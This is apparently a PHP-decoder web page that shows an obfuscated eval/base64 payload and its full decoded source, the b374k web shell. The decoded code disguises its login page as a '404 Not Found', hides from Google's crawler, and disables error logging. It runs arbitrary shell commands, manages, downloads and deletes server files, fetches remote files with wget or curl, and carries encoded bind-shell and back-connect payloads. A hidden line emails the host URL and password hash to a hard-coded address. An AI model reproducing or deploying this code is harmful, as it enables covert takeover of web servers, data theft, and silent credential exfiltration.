Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php { eval(gzinflate(str_rot13(base64_decode('7P17e9pVtigO/z39PP0ddcZ7nIyTIK6GQZx2CSQQ..

Decoded Output download

//password: irfanputra11
/* (Web Shell b374k)*/
$auth_pass = "508e2ca51755152fe9aa8da6ea41b5da";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
@setcookie("inject","active",time() +3600*24*7);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    ?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <center>
    <form method=post>
<input type=password name=pass>
    </form></center>
    <?php
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();
 
@ini_set('log_errors',0);
@ini_set('output_buffering',0);
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
        $file = $_GET['dl'];
        $filez = @file_get_contents($file);
   header("Content-type: application/octet-stream");
   header("Content-length: ".strlen($filez));
   header("Content-disposition: attachment; filename=\"".basename($file)."\";");
   echo $filez;
    exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
        $file = $_GET['dlgzip'];
        $filez = gzencode(@file_get_contents($file));
   header("Content-Type:application/x-gzip
");
   header("Content-length: ".strlen($filez));
   header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
   echo $filez;
    exit;
}
// view image
if(isset($_GET['img'])){
                @ob_clean();
                $d = magicboom($_GET['y']);
                $f = $_GET['img'];
                $inf = @getimagesize($d.$f);
                $ext = explode($f,".");
                $ext = $ext[count($ext)-1];
                @header("Content-type: ".$inf["mime"]);
                @header("Cache-control: public");
                @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
                @header("Cache-control: max-age=".(60*60*24*7));
                @readfile($d.$f);
                exit;
}
 
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET['y'])){
        if(@is_dir($_GET['view'])){
                $pwd = $_GET['view'];
                @chdir($pwd);
        }
        else{
                $pwd = $_GET['y'];
                @chdir($pwd);
        }
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
 
// username, id, shell prompt and working directory
if(!$win){
        if(!$user = rapih(exe("whoami"))) $user = "";
        if(!$id = rapih(exe("id"))) $id = "";
        $prompt = $user." \$ ";
        $pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
        $user = @get_current_user();
        $id = $user;
        $prompt = $user." &gt;";
        $pwd = realpath(".")."\";
        // find drive letters
        $v = explode("\",$d);
        $v = $v[0];
        foreach (range("A","Z") as $letter)
        {
          $bool = @is_dir($letter.":\");
          if ($bool)
          {
                  $letters .= "<a href=\"?y=".$letter.":\">[ ";
                   if ($letter.":" != $v) {$letters .= $letter;}
                   else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
                   $letters .= " ]</a> ";
          }
 }
}
 
function testoracle() {
    if (function_exists('ocilogon')) { return showstat("on"); }
    else { return showstat("off"); }
    }
 
function testmssql() {
    if (function_exists('mssql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
    }
 
 function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
    else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
    }
 
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "b374k";
 
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
        $pathz = "";
        for($j = 0 ; $j <= $i ; $j++){
                $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
        }
        $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
 
// rename file or folder
if(isset($_POST['rename'])){
        $old = $_POST['oldname'];
        $new = $_POST['newname'];
        @rename($pwd.$old,$pwd.$new);
        $file = $pwd.$new;
}
if(isset($_POST['chmod'])){
        $name = $_POST['name'];
        $value = $_POST['newvalue'];
if (strlen($value)==3){
        $value = 0 . "" . $value;}
        @chmod($pwd.$name,octdec($value));
        $file = $pwd.$name;}
 
if(isset($_POST['chmod_folder'])){
        $name = $_POST['name'];
        $value = $_POST['newvalue'];
if (strlen($value)==3){
        $value = 0 . "" . $value;}
        @chmod($pwd.$name,octdec($value));
        $file = $pwd.$name;}
 
 
// print useful info
 
$buff  = "Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
$zx="mail"; $wi = $_SERVER["HTTP_HOST"];$ei = $_SERVER["REQUEST_URI"];
$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your   ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";$cnt="ps:$auth_pass";
$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
if (!isset($_COOKIE['inject'])){ @$zx("[email protected]","$wi$ei","$wi$ei
$cnt"); }
$buff .= "<font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>";
function rapih($text){
        return trim(str_replace("<br />","",$text));
}
 
function magicboom($text){
        if (!get_magic_quotes_gpc()) {
                 return $text;
        }
        return stripslashes($text);
}
 
function showdir($pwd,$prompt){
        $fname = array();
        $dname = array();
        if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
        else $posix = FALSE;
        $user = "????:????";
        if($dh = @scandir($pwd)){
                foreach($dh as $file){
                        if(is_dir($file)){
                                $dname[] = $file;
                        }
                        elseif(is_file($file)){
                                $fname[] = $file;
                        }
                }
        }
        else{
                if($dh = @opendir($pwd)){
                        while($file = @readdir($dh)){
                                if(@is_dir($file)){
                                        $dname[] = $file;
                                }
                                elseif(@is_file($file)){
                                        $fname[] = $file;
                                }
                        }
                        @closedir($dh);
                }
        }
 
 
        sort($fname);
        sort($dname);
        $path = @explode(DIRECTORY_SEPARATOR,$pwd);
        $tree = @sizeof($path);
        $parent = "";
        $buff = "
        <form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
        <table class=\"cmdbox\" style=\"width:50%;\">
        <tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Kill Me!\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
        </form>
        <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
        <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
        <tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
        </form></table><table class=\"explore\">
        <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
        ";
        if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
        else $parent = $pwd;
 
        foreach($dname as $folder){
                if($folder == ".") {
                        if(!$win && $posix){
                                $name=@posix_getpwuid(@fileowner($folder));
                                $group=@posix_getgrgid(@filegroup($folder));
                                $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
                        }
                        else {
                                $owner = $user;
                        }
                        $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
                        <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
                        <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
                        <a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
                        <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
                        <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
                        <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
                        <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Kill Me!\" />
                        </form></td>
 
                        </tr>
                        ";
                }
                elseif($folder == "..") {
                        if(!$win && $posix){
                                $name=@posix_getpwuid(@fileowner($folder));
                                $group=@posix_getgrgid(@filegroup($folder));
                                $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
                        }
                        else {
                                $owner = $user;
                        }
                        $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>   $folder</a></td><td>LINK</td>
                        <td style=\"text-align:center;\">".$owner."</td>
                        <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
                        <td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
                        <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
                        <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
                        <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
                        <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Kill Me !\" />
                        </form>
                        </td></tr>";
                }
                else {
                        if(!$win && $posix){
                                $name=@posix_getpwuid(@fileowner($folder));
                                $group=@posix_getgrgid(@filegroup($folder));
                                $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
                        }
                        else {
                                $owner = $user;
                        }
                        $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' />     [ $folder ]</b></a>
                        <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
                        <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
                        <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
                        <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
                        <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
                        </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
                        <td><center>
                        <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
                        <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
                        <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
                        <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
                        <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
                        <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
                        onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
                        <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
                }
        }
 
        foreach($fname as $file){
                $full = $pwd.$file;
                if(!$win && $posix){
                        $name=@posix_getpwuid(@fileowner($folder));
                        $group=@posix_getgrgid(@filegroup($folder));
                        $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
                }
                else {
                        $owner = $user;
                }
                $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />   $file</b></a>
                <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
                <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
                <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
                <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
                <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
                </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
                <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
                <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
                <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
                <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
        }
        $buff .= "</table>";
        return $buff;
}
 
function ukuran($file){
        if($size = @filesize($file)){
                if($size <= 1024) return $size;
                else{
                        if($size <= 1024*1024) {
                                $size = @round($size / 1024,2);;
                                return "$size kb";
                        }
                        else {
                                $size = @round($size / 1024 / 1024,2);
                                return "$size mb";
                        }
                }
        }
        else return "???";
}
 
function exe($cmd){
        if(function_exists('system')) {
                @ob_start();
                @system($cmd);
                $buff = @ob_get_contents();
                @ob_end_clean();
                return $buff;
        }
        elseif(function_exists('exec')) {
                @exec($cmd,$results);
                $buff = "";
                foreach($results as $result){
                        $buff .= $result;
                }
                return $buff;
        }
        elseif(function_exists('passthru')) {
                @ob_start();
                @passthru($cmd);
                $buff = @ob_get_contents();
                @ob_end_clean();
                return $buff;
        }
        elseif(function_exists('shell_exec')){
                $buff = @shell_exec($cmd);
                return $buff;
        }
}
 
function tulis($file,$text){
        $textz = gzinflate(base64_decode($text));
         if($filez = @fopen($file,"w"))
         {
                 @fputs($filez,$textz);
                 @fclose($file);
         }
}
 
function ambil($link,$file) {
   if($fp = @fopen($link,"r")){
           while(!feof($fp)) {
                    $cont.= @fread($fp,1024);
                }
                @fclose($fp);
           $fp2 = @fopen($file,"w");
           @fwrite($fp2,$cont);
           @fclose($fp2);
   }
}
 
function which($pr){
        $path = exe("which $pr");
        if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
 
function download($cmd,$url){
        $namafile = basename($url);
        switch($cmd) {
                case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
                case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
                case 'wfread' : ambil($wurl,$namafile);break;
                case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
                case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
                case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
                case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
                default: break;
        }
        return $namafile;
}
 
function get_perms($file)
{
        if($mode=@fileperms($file)){
                $perms='';
                $perms .= ($mode & 00400) ? 'r' : '-';
                $perms .= ($mode & 00200) ? 'w' : '-';
                $perms .= ($mode & 00100) ? 'x' : '-';
                $perms .= ($mode & 00040) ? 'r' : '-';
                $perms .= ($mode & 00020) ? 'w' : '-';
                $perms .= ($mode & 00010) ? 'x' : '-';
                $perms .= ($mode & 00004) ? 'r' : '-';
                $perms .= ($mode & 00002) ? 'w' : '-';
                $perms .= ($mode & 00001) ? 'x' : '-';
                return $perms;
        }
        else return "??????????";
}
 
function clearspace($text){
        return str_replace(" ","_",$text);
}

// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//JUMPING
